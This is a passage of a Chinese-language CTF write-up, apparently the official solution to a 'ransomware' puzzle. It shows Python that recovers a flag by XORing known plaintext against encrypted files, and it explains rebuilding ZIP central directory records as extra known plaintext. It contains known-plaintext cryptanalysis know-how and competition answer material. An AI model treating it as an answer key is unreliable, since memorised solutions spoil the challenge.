<span><span style="color: #403F53">    known_encrypted </span><span style="color: #994CC3">=</span><span style="color: #403F53"> f.</span><span style="color: #0C969B">read</span><span style="color: #403F53">()</span></span>
<span></span>
<span><span style="color: #994CC3">with</span><span style="color: #403F53"> </span><span style="color: #4876D6">open</span><span style="color: #403F53">(</span><span style="color: #994CC3">f</span><span style="color: #C96765">&#39;</span><span style="color: #4876D6">{root}</span><span style="color: #C96765">/geekgame-5th/problemset/misc-ransomware/flag1-2-3.f58A66B51.txt&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765">rb</span><span style="color: #111111">&#39;</span><span style="color: #403F53">) </span><span style="color: #994CC3">as</span><span style="color: #403F53"> f:</span></span>
<span><span style="color: #403F53">    flags_encrypted </span><span style="color: #994CC3">=</span><span style="color: #403F53"> f.</span><span style="color: #0C969B">read</span><span style="color: #403F53">()</span></span>
<span></span>
<span><span style="color: #403F53">flags_partial </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">bytes</span><span style="color: #403F53">(</span><span style="color: #4876D6">a </span><span style="color: #994CC3">^</span><span style="color: #4876D6"> b </span><span style="color: #994CC3">^</span><span style="color: #4876D6"> c </span><span style="color: #994CC3">for</span><span style="color: #4876D6"> a</span><span style="color: #111111">,</span><span style="color: #4876D6"> b</span><span style="color: #111111">,</span><span style="color: #4876D6"> c </span><span style="color: #994CC3">in</span><span style="color: #4876D6"> zip</span><span style="color: #403F53">(</span><span style="color: #4876D6">known</span><span style="color: #111111">,</span><span style="color: #4876D6"> known_encrypted</span><span style="color: #111111">,</span><span style="color: #4876D6"> flags_encrypted</span><span style="color: #403F53">))</span></span>
<span><span style="color: #4876D6">print</span><span style="color: #403F53">(</span><span style="color: #4876D6">flags_partial</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">flag1 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> re.</span><span style="color: #0C969B">search</span><span style="color: #403F53">(</span><span style="color: #994CC3">br</span><span style="color: #111111">&#39;</span><span style="color: #5CA7E4">flag</span><span style="color: #AA0982">\{</span><span style="color: #5CA7E4">.</span><span style="color: #0C969B">+?</span><span style="color: #AA0982">\}</span><span style="color: #111111">&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> flags_partial</span><span style="color: #403F53">).</span><span style="color: #0C969B">group</span><span style="color: #403F53">(</span><span style="color: #AA0982">0</span><span style="color: #403F53">).</span><span style="color: #0C969B">decode</span><span style="color: #403F53">()</span></span>
<span><span style="color: #4876D6">print</span><span style="color: #403F53">(</span><span style="color: #994CC3">f</span><span style="color: #C96765">&#39;</span><span style="color: #4876D6">{flag1 = }</span><span style="color: #AA0982">\n</span><span style="color: #C96765">&#39;</span><span style="color: #403F53">)</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #D6DEEB">root </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> argv[</span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB">]</span></span>
<span></span>
<span><span style="color: #C792EA">with</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">open</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">algo-gzip.py</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">rb</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">as</span><span style="color: #D6DEEB"> f:</span></span>
<span><span style="color: #D6DEEB">    known </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> f.</span><span style="color: #B2CCD6">read</span><span style="color: #D6DEEB">()</span></span>
<span></span>
<span><span style="color: #C792EA">with</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">open</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">f</span><span style="color: #ECC48D">&#39;</span><span style="color: #82AAFF">{root}</span><span style="color: #ECC48D">/geekgame-4th/official_writeup/algo-gzip/attachment/algo-gzip.f58A66B51.py&#39;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">rb</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">as</span><span style="color: #D6DEEB"> f:</span></span>
<span><span style="color: #D6DEEB">    known_encrypted </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> f.</span><span style="color: #B2CCD6">read</span><span style="color: #D6DEEB">()</span></span>
<span></span>
<span><span style="color: #C792EA">with</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">open</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">f</span><span style="color: #ECC48D">&#39;</span><span style="color: #82AAFF">{root}</span><span style="color: #ECC48D">/geekgame-5th/problemset/misc-ransomware/flag1-2-3.f58A66B51.txt&#39;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">rb</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">as</span><span style="color: #D6DEEB"> f:</span></span>
<span><span style="color: #D6DEEB">    flags_encrypted </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> f.</span><span style="color: #B2CCD6">read</span><span style="color: #D6DEEB">()</span></span>
<span></span>
<span><span style="color: #D6DEEB">flags_partial </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">bytes</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">a </span><span style="color: #C792EA">^</span><span style="color: #82AAFF"> b </span><span style="color: #C792EA">^</span><span style="color: #82AAFF"> c </span><span style="color: #C792EA">for</span><span style="color: #82AAFF"> a</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> b</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> c </span><span style="color: #C792EA">in</span><span style="color: #82AAFF"> </span><span style="color: #C5E478">zip</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">known</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> known_encrypted</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> flags_encrypted</span><span style="color: #D6DEEB">))</span></span>
<span><span style="color: #C5E478">print</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">flags_partial</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">flag1 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> re.</span><span style="color: #B2CCD6">search</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">br</span><span style="color: #D9F5DD">&#39;</span><span style="color: #5CA7E4">flag</span><span style="color: #F78C6C">\{</span><span style="color: #5CA7E4">.</span><span style="color: #7FDBCA">+?</span><span style="color: #F78C6C">\}</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> flags_partial</span><span style="color: #D6DEEB">).</span><span style="color: #B2CCD6">group</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">).</span><span style="color: #B2CCD6">decode</span><span style="color: #D6DEEB">()</span></span>
<span><span style="color: #C5E478">print</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">f</span><span style="color: #ECC48D">&#39;</span><span style="color: #82AAFF">{flag1 = }</span><span style="color: #F78C6C">\n</span><span style="color: #ECC48D">&#39;</span><span style="color: #D6DEEB">)</span></span></code></pre></div></section>
<h3 id="flag-2-2" class="heading"><a href="#flag-2-2" class="heading-anchor" aria-label="章节： Flag 2" tabindex="-1"></a><span>Flag 2</span></h3>
<p><code>algo<wbr>-<wbr>gzip<wbr>.<wbr>py</code> 只提供了开头一段密钥<span class="mojikumi-line-end">，</span>继续解密需要更多的已知明文<span class="mojikumi-line-end">。</span>附件里有一个声称没有存储 flag 的 ZIP 文件<span class="mojikumi-line-end">，</span>而 ZIP 文件格式中很多信息会冗余存储<span class="mojikumi-line-end">，</span>所以可以从不完整的 ZIP 文件中恢复一些缺失的部分<span class="mojikumi-line-start">（</span>从 LFH 恢复 CDH 和 EOCD<span class="mojikumi">）</span><span class="mojikumi-line-end">。</span>根据文件长度可以确定 ZIP 里没有第三个文件<span class="mojikumi-line-end">。</span>可以搜一篇教程或者看 <a href="https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT">APPNOTE.TXT</a> 学习一下 ZIP 文件结构<span class="mojikumi-line-end">。</span>当然<span class="mojikumi-line-end">，</span>也可以让 AI 写<span class="mojikumi-line-end">，</span>或者用一些现成的工具<span class="mojikumi-line-end">。</span></p>
<p>CDH 中有一些 LFH 没有的字段<span class="mojikumi-line-end">，</span>其中最难确定的是 external attributes<span class="mojikumi-line-end">，</span>但我特意让 flag 从这个字段开始<span class="mojikumi-line-end">，</span>如果设为 0 会得到 <code>fl\xe1f{</code><span class="mojikumi-line-end">，</span>把它修复为 <code>flag{</code><span class="mojikumi-line-end">，</span>后面也用相同的值就可以修复<span class="mojikumi-line-end">。</span>当然<span class="mojikumi-line-end">，</span>直接猜也是可以的<span class="mojikumi-line-end">，</span>考察第三人称单数的使用<span class="mojikumi-line-end">，</span>以及识别 <code>^T</code> 是一个字符还是两个字符<span class="mojikumi-line-end">。</span></p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h4 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Python 代码块" data-v-c675dba6>Python</h4><ile-root id="ile-12"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-12--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #994CC3">from</span><span style="color: #403F53"> construct </span><span style="color: #994CC3">import</span><span style="color: #403F53"> Struct, Int32ul, Int16ul, Bytes, this</span></span>
<span></span>
<span><span style="color: #4876D6">LFH_SIGNATURE</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #994CC3">0x</span><span style="color: #AA0982">04034b50</span></span>
<span><span style="color: #403F53">LocalFileHeader </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">Struct</span><span style="color: #403F53">(</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">signature</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> Int32ul</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">version_needed</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> Int16ul</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">flags</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> Int16ul</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">compression</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> Int16ul</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">mod_time</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> Int16ul</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">mod_date</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> Int16ul</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">crc32</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> Int32ul</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">compressed_size</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> Int32ul</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">uncompressed_size</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> Int32ul</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">filename_length</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> Int16ul</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">extra_length</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> Int16ul</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">filename</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> </span><span style="color: #0C969B">Bytes</span><span style="color: #403F53">(</span><span style="color: #4876D6">this.filename_length</span><span style="color: #403F53">)</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">extra</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> </span><span style="color: #0C969B">Bytes</span><span style="color: #403F53">(</span><span style="color: #4876D6">this.extra_length</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #4876D6">CDH_SIGNATURE</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #994CC3">0x</span><span style="color: #AA0982">02014b50</span></span>
<span><span style="color: #403F53">CentralDirHeader </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">Struct</span><span style="color: #403F53">(</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">signature</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> Int32ul</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">version_made_by</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> Int16ul</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">version_needed</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> Int16ul</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">flags</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> Int16ul</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">compression</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> Int16ul</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">mod_time</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> Int16ul</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">mod_date</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> Int16ul</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">crc32</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> Int32ul</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">compressed_size</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> Int32ul</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">uncompressed_size</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> Int32ul</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">filename_length</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> Int16ul</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">extra_length</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> Int16ul</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">comment_length</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> Int16ul</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">disk_number_start</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> Int16ul</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">internal_attrs</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> Int16ul</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">external_attrs</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> Int32ul</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">local_header_offset</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> Int32ul</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">filename</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> </span><span style="color: #0C969B">Bytes</span><span style="color: #403F53">(</span><span style="color: #4876D6">this.filename_length</span><span style="color: #403F53">)</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">extra</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> </span><span style="color: #0C969B">Bytes</span><span style="color: #403F53">(</span><span style="color: #4876D6">this.extra_length</span><span style="color: #403F53">)</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">comment</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> </span><span style="color: #0C969B">Bytes</span><span style="color: #403F53">(</span><span style="color: #4876D6">this.comment_length</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #4876D6">EOCDR_SIGNATURE</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #994CC3">0x</span><span style="color: #AA0982">06054b50</span></span>
<span><span style="color: #403F53">Eocdr </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">Struct</span><span style="color: #403F53">(</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">signature</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> Int32ul</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">disk_number</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> Int16ul</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">disk_start</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> Int16ul</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">disk_entries</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> Int16ul</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">total_entries</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> Int16ul</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">cd_size</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> Int32ul</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">cd_offset</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> Int32ul</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">comment_length</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> Int16ul</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #111111">&quot;</span><span style="color: #C96765">comment</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">/</span><span style="color: #4876D6"> </span><span style="color: #0C969B">Bytes</span><span style="color: #403F53">(</span><span style="color: #4876D6">this.comment_length</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">)</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #C792EA">from</span><span style="color: #D6DEEB"> construct </span><span style="color: #C792EA">import</span><span style="color: #D6DEEB"> Struct, Int32ul, Int16ul, Bytes, this</span></span>
<span></span>
<span><span style="color: #82AAFF">LFH_SIGNATURE</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">0x</span><span style="color: #F78C6C">04034b50</span></span>
<span><span style="color: #D6DEEB">LocalFileHeader </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">Struct</span><span style="color: #D6DEEB">(</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">signature</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> Int32ul</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">version_needed</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> Int16ul</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">flags</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> Int16ul</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">compression</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> Int16ul</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">mod_time</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> Int16ul</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">mod_date</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> Int16ul</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">crc32</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> Int32ul</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">compressed_size</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> Int32ul</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">uncompressed_size</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> Int32ul</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">filename_length</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> Int16ul</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">extra_length</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> Int16ul</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">filename</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> </span><span style="color: #B2CCD6">Bytes</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">this.filename_length</span><span style="color: #D6DEEB">)</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">extra</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> </span><span style="color: #B2CCD6">Bytes</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">this.extra_length</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #82AAFF">CDH_SIGNATURE</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">0x</span><span style="color: #F78C6C">02014b50</span></span>
<span><span style="color: #D6DEEB">CentralDirHeader </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">Struct</span><span style="color: #D6DEEB">(</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">signature</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> Int32ul</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">version_made_by</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> Int16ul</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">version_needed</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> Int16ul</span><span style="color: #D9F5DD">,</span></span>
